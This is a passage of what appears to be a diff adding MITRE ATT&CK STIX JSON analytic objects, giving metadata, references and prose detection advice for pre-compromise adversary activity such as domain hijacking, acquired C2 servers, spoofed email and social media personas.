visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4384e648-0f49-442d-b989-6a47f2194130", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0859#AN1991", + "external_id": "AN1991" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1991", + "description": "Once adversaries leverage compromised network devices as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3ee2fdaa-358a-4f65-9d15-c9096628bc7e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0860#AN1992", + "external_id": "AN1992" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1992", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ab74118c-05e1-4acd-b1c2-445d1f7c5fd1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0861#AN1993", + "external_id": "AN1993" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1993", + "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4e469a08-db8b-49c1-8bf6-f76ffa21860f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0862#AN1994", + "external_id": "AN1994" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1994", + "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0cadbf9f-befa-4bd8-85b8-e5af53383953", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0863#AN1995", + "external_id": "AN1995" + }, + { + "source_name": "Palo Alto Unit 42 Domain Shadowing 2022", + "description": "Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.", + "url": "https://unit42.paloaltonetworks.com/domain-shadowing/" + }, + { + "source_name": "Palo Alto Unit 42 Domain Shadowing 2022", + "description": "Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.", + "url": "https://unit42.paloaltonetworks.com/domain-shadowing/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1995", + "description": "Monitor for logged domain name system (DNS) registry data that may hijack domains and/or subdomains that can be used during targeting. In some cases, abnormal subdomain IP addresses (such as those originating in a different country from the root domain) may indicate a malicious subdomain.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nConsider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\nMonitor for queried domain name system (DNS) registry data that may hijack domains and/or subdomains that can be used during targeting. In some cases, abnormal subdomain IP addresses (such as those originating in a different country from the root domain) may indicate a malicious subdomain.(Citation: Palo Alto Unit 42 Domain Shadowing 2022) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4", + "name": "Domain Name", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256", + "name": "Domain Name", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2e521444-7295-4dec-96c1-7595b2df7811", + "name": "Domain Name", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fd652339-e12f-4295-b843-0665680054bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0864#AN1996", + "external_id": "AN1996" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1996", + "description": "Once adversaries leverage serverless functions as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--705ecef8-b41e-4b1f-bd7c-f3b2ff930c11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0865#AN1997", + "external_id": "AN1997" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1997", + "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\nMonitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\nMonitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application Log", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ac4bf64e-da14-4416-8961-f0736eb4d9be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0866#AN1998", + "external_id": "AN1998" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1998", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f2f01ea3-a59c-42b1-b934-83065ae1f785", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0867#AN1999", + "external_id": "AN1999" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1999", + "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\nMonitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--56622fce-489a-4ed9-b1fb-e525939667d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0868#AN2000", + "external_id": "AN2000" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2000", + "description": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ca1afe09-7edb-4415-a240-92a0f30ac22f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0869#AN2001", + "external_id": "AN2001" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2001", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--51133710-7c09-4eb5-a0bc-6fc5338cd68d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0870#AN2002", + "external_id": "AN2002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2002", + "description": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).\nMonitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985", + "name": "Persona", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8ad0cc97-4f6e-4ea0-a930-3fdb6b0df819", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0871#AN2003", + "external_id": "AN2003" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2003", + "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\nOnce adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da", + "name": "Internet Scan", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2a3b0030-05b4-4b85-a33c-dda07472f31f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0872#AN2004", + "external_id": "AN2004" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2004", + "description": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\nMonitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3", + "name": "Malware Repository", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", + "name": "Malware Repository", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2eb3d192-6e04-4e42-af63-ed3f54f65285", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0873#AN2005", + "external_id": "AN2005" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2005", + "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\nConsider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985", + "name": "Persona", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0fc0c7ce-e56d-4f3f-ab91-903861124816", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0874#AN2006", + "external_id": "AN2006" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2006", + "description": "Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--23b9c988-be01-4092-b9c4-0ddec8d58891", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0875#AN2007", + "external_id": "AN2007" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 2007", + "description": "Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": 